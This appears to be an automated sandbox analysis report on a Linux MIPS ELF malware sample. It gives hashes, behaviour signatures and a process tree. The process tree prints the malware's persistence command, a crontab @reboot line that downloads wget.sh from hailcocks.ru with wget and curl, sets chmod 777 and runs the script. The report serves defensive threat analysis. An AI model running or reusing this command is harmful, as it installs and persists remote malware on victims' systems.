Analysis
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max time kernel
149s -
max time network
139s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
27-10-2024 02:02
Static task
static1
Behavioral task
behavioral1
Sample
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf
Resource
debian9-mipsbe-20240611-en
General
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Target
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf
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Size
99KB
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MD5
2bc1855eb4297c28116e412b6705e14a
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SHA1
4d8189399c887b335e1d690961e38b806948d9cd
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SHA256
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
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SHA512
1074aa161b94e13c473e8cf23d6bbd6baa531854b4c110b8142ccd8e8296b6a94751e55907f9ed6aff7d1b470676c81ea5754fdfeef14f8829dc9a5e3452d26e
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SSDEEP
1536:uo6JSd6vTfjZ0IonWnP4MmBGSBGxJGSnuqMLHRvMNswe+fYgHIRyyR:upP5ld4MaqMjRUKuYRyyR
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Renames itself 1 IoCs
Processes:
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elfpid process 703 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf -
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
Processes:
description ioc Destination IP 81.169.136.222 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.XSZqxU crontab -
Changes its process name 1 IoCs
Processes:
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elfdescription ioc pid process Changes the process name, possibly in an attempt to hide itself [watchdog/0] 703 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf -
Processes:
crontabcrontab0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elfdescription ioc process File opened for reading /proc/filesystems crontab File opened for reading /proc/filesystems crontab File opened for reading /proc/719/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/720/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/1/cmdline 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/722/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/725/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/mounts 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/718/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/709/cmdline 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/2/cmdline 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/723/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/724/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/721/status 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf File opened for reading /proc/721/cmdline 0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf
Processes
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/tmp/0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf/tmp/0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad.elf1⤵
- Renames itself
- Changes its process name
- Reads runtime system information
PID:703 -
/bin/shsh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"2⤵
- File and Directory Permissions Modification
PID:704 -
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:707 -
/usr/bin/crontabcrontab -l3⤵
- Reads runtime system information
PID:708
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
306B
MD568130ff0ed9a7764cd371c8e6baa6210
SHA1d82a9fc5bdb2d9f1cee0bd8458c1f3e94255f3d3
SHA2563bc09503863de8ab831cfaa97b2f03120397fdaa453c39d3db16f32a0124e462
SHA512a344d6280beb8e6a2af5740eb256947e5153210f4fb81c28db5d356cf8189e1bb9719e854a8a94b251506393cdcf2ef4e8e039b345dc0d2f951121627e9245aa